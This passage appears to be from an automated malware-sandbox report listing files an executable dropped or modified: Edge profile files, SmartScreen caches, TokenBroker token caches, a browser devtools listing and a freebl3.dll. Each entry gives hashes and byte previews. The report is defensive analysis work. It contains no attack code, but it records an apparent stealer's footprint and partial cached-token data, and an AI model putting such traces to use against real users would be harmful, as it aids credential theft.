...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.013060454275184
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclU1QWT:YWLSGTt1o9LuLgfGBPAzkVj/T8lUau
MD5:	9C51AE1FA6DA33CA6B7EACA2B230DC16
SHA1:	14A8B4A19F47DCEF8B94E058B79360BB33E5EF8D
SHA-256:	C9E47DBB37C3CBD736747B570BC56BCE9E68CD0E029CF12F118DE480735ED5AC
SHA-512:	B541A317D3C583BA782B9C678D051266DDAEA46466EE467BBBA2F6406B744F496153A79DEF6B9BAD0A93261457B38BF5A822D8BA9305FC078CE1675756FE1501
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731097535770882}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a068035d-36e8-4db0-a852-fc1b8c7d8842.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44979
Entropy (8bit):	6.094553576440264
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWrJi1zNtiN91J8DP9BTOzKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yO2NBzKtSmd6qE7lFoC
MD5:	C90EC220CAF63D07E6F4398CC388D9E7
SHA1:	BA65C49DB77A598C41B3D92BC991D97FC59F29B4
SHA-256:	CC8BF3A667FC917D4838DA7AE7F35B21DB6D03AA74DD3BAEE054A89F0647D866
SHA-512:	C7AA0094E2805CA4E1D17604E7411975B4EDFDA4150F189CCB96D73C1B1680F9B3001FA0538262C9482A36039BA5BCE74795CF92A1DD10DD4F0212F867596256
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c20b7f9f-bb0f-405e-ad9e-fb0412f3b1a3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46502
Entropy (8bit):	6.08573389287655
Encrypted:	false
SSDEEP:	768:wMkbJrT8IeQcrQgH9l8ci1zNtiE1J8DP9BTOzhy1DhuCiogJDSgzMMd6qD47u30/:wMk1rT8Hn9NGz014FogtSmd6qE7h
MD5:	44859241486B9B0803D88F4414DC5A7C
SHA1:	ED7255292DAB4F382C5137A27A685D91B862FB07
SHA-256:	5A03AE165A8BC88D5B187B701C9EC779CB1E435C761F7395BD9575AB1B9A4206
SHA-512:	E7C9C61BE976D1C957CE8353B731C5566EE537FFC97A6F29BE851F5BFAD7254730EA6C303D943FFBA269611EE09411922341A4A204B54CF24BDBC6587CFAA30E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375470332109166","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"6b9433be-d389-44e4-99db-d785b1b6b45c"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c2f663c4-175c-47f7-9b28-638c3624aba2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46378
Entropy (8bit):	6.086150931820895
Encrypted:	false
SSDEEP:	768:wMkbJrT8IeQcrQgxKl2ci1zNtiN91J8DP9BTOzhy1DhuCiogJDSgzMMd6qD47u3A:wMk1rT8HRKvNBz014FogtSmd6qE7h
MD5:	66690B862671313734E9691642BF7662
SHA1:	F851054D4C37FACB6B54389C8F17D251FD7B3033
SHA-256:	59B197D88887C0DC505C3AB868945FAD50A16F7BE2B4BCA7359FE74A6703A25E
SHA-512:	F5552BD9DEC98F7B3AB98C279AA3B2ED6B9516C59B5F7EEF966B017B40A0526FC335F477E0C58DBAD5FB5434B39A4F728A22848C4B4189CD231BEA6164D05479
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375470332109166","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"6b9433be-d389-44e4-99db-d785b1b6b45c"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dfa687c8-8cf1-4dac-8633-9cc3c82ef85e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46425
Entropy (8bit):	6.085817058555788
Encrypted:	false
SSDEEP:	768:wMkbJrT8IeQcrQgxKl8ci1zNtiN91J8DP9BTOzhy1DhuCiogJDSgzMMd6qD47u3A:wMk1rT8HRKNNBz014FogtSmd6qE7h
MD5:	E4A722C09D96E390740AE4285A32656C
SHA1:	C482BA5E78997EB582172AEE3C596F2B3E3A83FB
SHA-256:	0CE75FABCA7D20A03A9E229371031B753C970F05E42C52E124E1861AB5370AFF
SHA-512:	CA0971FB919E33F895489B80129F8AA9242A95C3214B08E28AFB1900D90EFC0B845BED69471C7072FEA1E8E3A84B0F34C82FCAAD96B2BEC0730C3D1D3C923303
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375470332109166","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"6b9433be-d389-44e4-99db-d785b1b6b45c"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6q

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dff1e9f6-688c-4de7-9e99-8dee5e8569f1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44898
Entropy (8bit):	6.094497071495738
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWVJi1zNtiNNQnbVDFe4AKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynCNxKtSmd6qE7lFoC
MD5:	6DA8C95C5A99CDE5A07D77F9DF4DF7E8
SHA1:	3C2D9ADBDAE2FF315A0BF768033D895D8D6EDA54
SHA-256:	80DB82EBDD5C5311A20B0FCBF05C116A7B0CF4A96E9B77D56A2E48B9396E01C8
SHA-512:	E3B5330E6F00B078AFDFC53D5329493BF88AA973DCCE0A62A3070A3216EE663A806D7A2DD8639B86957D3A350113B3071F1DAE39C6534B300F13D8AF260BF619
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8504185779478473
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxNxl9Il8ujQnlC0eH5hmr4beVFBd1rc:moYins0Ef4VHi
MD5:	F324C653A292859881EF2A8739A04B04
SHA1:	9017858C1FF5EA6A492EAE66A5AC6DE81B2BA138
SHA-256:	7F35A6343C24079D1CC75015CE693F12266386ED7CF4A17B2C228394537C4AC6
SHA-512:	3E7046FAD7D480606E5B37287947267B81AEAAF6EFB1D13D226EA2845EEA83119FCA1498DEDBF488349962078FE12D7ADC49542901D36EE57D364AD2A60C5E68
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.F.H.7.D.T.o.x.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.3.c.X.E.O.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001351087043742
Encrypted:	false
SSDEEP:	96:TYk3VEcHai5LElZCf7yRRG3lnxUFefxg2L:TjVP6ILElZzRR29HfxRL
MD5:	A944DBD7791058219D18F95E8C85E710
SHA1:	841723429CF412263570BF1CE746EC64148CBA98
SHA-256:	E34071913056584F4534D1F02733919E8DC953DD4F858CE64AF06D6E389FB84B
SHA-512:	F113D9CA6B07CF1C763C0552B3729E64123807F1EDF318AAB1714340AED277C2B50B64594352012AB3E540DCBBB318CE0FEDB07E0FDE8CB136154F6DFD032B04
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".r.o.j.y.8.z.E.x.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.3.c.X.E.O.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9097133968131823
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xWxl9Il8ujePC690NiND+9TLHQWCnefrZjdOnbd/vc:a8YiC9NiERzQlQrNdOm
MD5:	563EC2D988C714E507784D6B7BC48E10
SHA1:	E045E1F7C056E8F4178B676850BAD0E92B483952
SHA-256:	8F34C9B80D026E15C4F9AB9AD47F390DAFBBC341BD6AEF701809CF281A443185
SHA-512:	EC448EF05625317ABE64313A0456F6900E842B08EA1F28B2547B056884CCCC3924CF73C365DFF8C6F7AC08EDA498517454527715221A47B3F2E83610AD2C0998
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".Z.T.c.Z.J.A.N.Q.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.0.3.c.X.E.O.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\json[1].json

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.400749794453063
Encrypted:	false
SSDEEP:	96:6NnQSHQyNnQsbQcNnQc9QukNnQhdgEQnNnQEQDNnQsDQ/NnQowQCNnQE043QET:6NNNtNiNQ+NENp0NP2Nr0OT
MD5:	AB49FB11F8BE8CFCB6CD5C973A0B4B8F
SHA1:	B93AFA19BB7A0D701E11EEA950D7F347BC0056F1
SHA-256:	F95EDB17DA0304177EEB503A3E1641716177593545233F2EABD234E14C211CFE
SHA-512:	F85A5B246DA39E8F4F747DF772FFED6F65499B4A607A1753F4FCA39CD1BC089F89C5EC9CD0C37E86C446287662E848F39C1EE04EC5716B72E4FC970267CBAAD0
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/57B06BB0A7119B46911C2C50B658CD5A",.. "id": "57B06BB0A7119B46911C2C50B658CD5A",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/57B06BB0A7119B46911C2C50B658CD5A"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/63633786286F0509590CAF4B5B370F5E",.. "id": "63633786286F0509590CAF4B5B370F5E",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/63633786286F0509590CAF4B5B370F5E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\json[1].json

Download File

Process:	C:\Users\user\Desktop\vMRlWtVCEN.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.351446967788277
Encrypted:	false
SSDEEP:	48:SfNaoQxfXTEQxhfNaoQ0Q/fNaoQJQHfNaoQN0UrU0U8QA:6NnQxTEQDNnQ0QXNnQJQ/NnQN0UrU0UI
MD5:	062106365620F0D4CE7DCFD9630745D6
SHA1:	1ABDE343DDFC71BD4A5058A52558C02CC73C7577
SHA-256:	71DA127D75E3E6231ACAE6BCA28E8AF177BC645D94725FB996A08E9EF776DFA8
SHA-512:	DB1C8F492FCA39306ED28CB3CE8C77476CE3E6EB93E7A22B2285F35D9EE792BE0CC9185DD3DC15A2A5803CDDF18EEE28F44A4181FB59E10A38560D7349DBDA02
Malicious:	false
